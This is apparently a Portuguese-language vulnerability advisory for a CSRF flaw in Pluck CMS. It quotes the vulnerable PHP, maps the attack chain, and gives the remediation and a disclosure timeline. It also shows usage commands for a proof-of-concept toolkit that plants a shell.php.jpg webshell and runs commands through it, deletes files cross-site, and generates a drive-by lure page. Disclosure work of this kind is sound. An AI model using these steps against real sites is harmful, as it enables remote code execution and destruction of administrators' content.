
Advisory e PoC em Python para CSRF no Pluck CMS: verificação de Referer fail-open aliada a upload de extensão dupla permite implantação de webshell e execução remota de código.
Visão geral · Resumo · Causa raiz · Cadeia de ataque · Exploit · Mitigação · Cronologia
| CVE ID | CVE-2026-70376 |
| ID de rastreamento | PT-2026-68036 |
| Produto | pluck-cms/pluck — Pluck CMS (PHP baseado em arquivos) |
| Afetado | 4.7.x até 4.7.21-dev / master atual |
| Fraqueza | CWE-352 (CSRF) · CWE-434 (upload sem restrições, amplificador) |
| CVSS v3.1 | 8.0 — Alta · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H |
| Vetor | Rede · sem privilégios · uma visita de página do admin (UI:R) |
| Impacto | Destruição de conteúdo/DoS, injeção de conteúdo armazenado, RCE em Apache/mod_php |
| Introduzido | commit f79f916 (dez. 2019) — lógica vulnerável presente desde então |
| Pesquisador | Ilhomjon Rustamov (@IlhomjonR) |
O painel administrativo do Pluck não possui tokens CSRF por requisição em nenhum lugar do código-fonte. Toda ação administrativa que altera estado é controlada por uma única função, requestedByTheSameDomain(), cuja única defesa é uma comparação do host do Referer — e essa verificação falha em aberto (fail-open): quando uma requisição chega sem nenhum cabeçalho Referer, a função retorna true e a ação é permitida.
Como uma página do atacante controla totalmente se um Referer é enviado (<meta name="referrer" content="no-referrer">), qualquer administrador autenticado que visite uma página maliciosa pode ser forçado a executar ações privilegiadas entre sites (cross-site). Diversas ações destrutivas são executadas via GET, e o Pluck não define nenhum atributo SameSite no PHPSESSID (os navegadores aplicam SameSite=Lax, que ainda acompanha navegações GET de nível superior), portanto elas são alcançáveis entre sites nas configurações padrão dos navegadores.
Uma falha secundária no filtro de upload permite que o mesmo CSRF instale um arquivo de extensão dupla shell.php.jpg — transformando o CSRF em um RCE drive-by em hospedagens Apache/mod_php.
data/inc/functions.admin.phpfunction requestedByTheSameDomain() {
if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
else { $myDomain = NULL; }
if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
else { $requestsSource = NULL; }
$referelDomain = parse_url($requestsSource, PHP_URL_HOST);
if ($myDomain != NULL && $requestsSource != NULL &&
(strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
return true; // Referer host == our host -> allow
} elseif ($myDomain == NULL || $requestsSource == NULL) {
show_error("Be carefull with clicking links, ...", 1);
return true; // Referer ABSENT -> FAIL OPEN -> allow <==
} else {
return false; // Referer host mismatch -> block
}
}
Uma requisição entre sites com um Referer estrangeiro é corretamente rejeitada (o ramo else), o que gera uma falsa sensação de proteção — mas o atacante simplesmente suprime o Referer, cai no ramo fail-open, e a requisição é permitida. Não há nenhuma camada de token por trás dessa verificação.
A barreira é aplicada uma única vez em admin.php e é confiável para todo o switch de ações:
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
switch ($_GET['action']) {
case 'deletefile': include_once('data/inc/deletefile.php'); break;
case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
case 'deletepage': include_once('data/inc/deletepage.php'); break;
case 'module_delete': /* ... */
case 'images': include_once('data/inc/images.php'); break; // upload
// ...
}
}
SameSite no cookie de sessão (amplificador)O Pluck nunca chama session_set_cookie_params(), então o PHPSESSID herda o padrão vazio → os navegadores aplicam SameSite=Lax, que ainda acompanha navegações GET de nível superior. As ações expostas via GET (deletefile, deleteimage, deletepage, module_delete, theme_delete, logout) são, portanto, forjáveis com uma única visita a uma página.
data/inc/images.php (amplificador de RCE)if (in_array($_FILES['imagefile']['type'], // client-controlled MIME
array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
$imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
show_error($lang['general']['upload_failed'], 1); // only checks LAST 4 chars
} else {
copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
// ...
}
}
Ambas as verificações são trivialmente contornadas:
$_FILES[...]['type']) → defina image/jpeg;shell.php.jpg termina em .jpg e passa.O arquivo é gravado em images/shell.php.jpg; em uma hospedagem Apache/mod_php com tratamento de múltiplas extensões, ele é executado como PHP.
Uma única visita de administrador autenticado a uma página — sem clique.
flowchart LR
A[Admin logado no Pluck] --> B[Abre página do atacante]
B --> C["meta referrer=no-referrer<br/>suprime o Referer"]
C --> D[Navegação de nível superior / auto-form para admin.php]
D --> E["Cookie PHPSESSID Lax acompanha<br/>Referer ausente"]
E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
F --> G1[deletefile / deletepage -> destruição / DoS]
F --> G2[editpage -> injeção de conteúdo armazenado]
F --> G3["upload de imagens -> shell.php.jpg -> RCE"]As ações forjáveis incluem:
| Ação | Método | Impacto |
|---|---|---|
admin.php?action=deletefile&var1=<f> | GET | Apaga arquivo enviado arbitrário |
admin.php?action=deletepage&... | GET | Apaga páginas do site (DoS) |
admin.php?action=module_delete&... | GET | Remove módulos |
admin.php?action=logout | GET | Encerra a sessão do administrador |
admin.php?action=editpage | POST | Injeta conteúdo de página armazenado |
admin.php?action=images (upload) | POST | Instala shell.php.jpg → RCE |
Um kit de ferramentas PoC funcional está em exploit/:
pluck_csrf_rce.py — comprove a lógica fail-open, envie um webshell via CSRF e execute comandos, apague arquivos via CSRF ou gere uma isca (lure).csrf_poc.html — a página drive-by autônoma entregue ao admin vítima.pip install requests
# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe
# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
# -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id
# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt
# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html
As requisições Python enviam deliberadamente nenhum Referer, reproduzindo exatamente um navegador vítima sob uma política no-referrer. A assimetria na camada HTTP que confirma a lógica:
Referer: http://attacker.example -> action BLOCKED (else branch)
(no Referer header) -> action SUCCEEDED *** CSRF bypassed ***
⚠️ A etapa
.php.jpg→ RCE exige uma hospedagem Apache/mod_php que execute arquivos de múltiplas extensões via PHP. Quando isso não está configurado, o upload via CSRF ainda é bem-sucedido e as primitivas destrutivasdelete/deletepagenão são afetadas — o CSRF é o bug central; o RCE é o amplificador.
Referer/Origin ausente como não confiável. Prefira o cabeçalho Origin e rejeite quando ele estiver ausente ou não corresponder.deletefile, deletepage, logout, etc. para POST, de modo que SameSite=Lax forneça proteção básica.SameSite=Strict (ou Lax), HttpOnly e Secure via session_set_cookie_params().| Data | Evento |
|---|---|
| 2019-12 | Lógica vulnerável requestedByTheSameDomain() introduzida (f79f916) |
| 2026-07-08 | Descoberta via auditoria de código-fonte; PoC de ponta a ponta verificado |
| 2026-08-10 | Advisory elaborado (PT-2026-68036) |
| 2026-08-12 | CVE-2026-70376 atribuído; advisory + PoC publicados |
Este material é publicado para fins educacionais e defensivos e somente para testes de segurança autorizados. Não o utilize contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar. O autor não se responsabiliza pelo uso indevido.
Descoberto & documentado por @IlhomjonR · CVE-2026-70376 · PT-2026-68036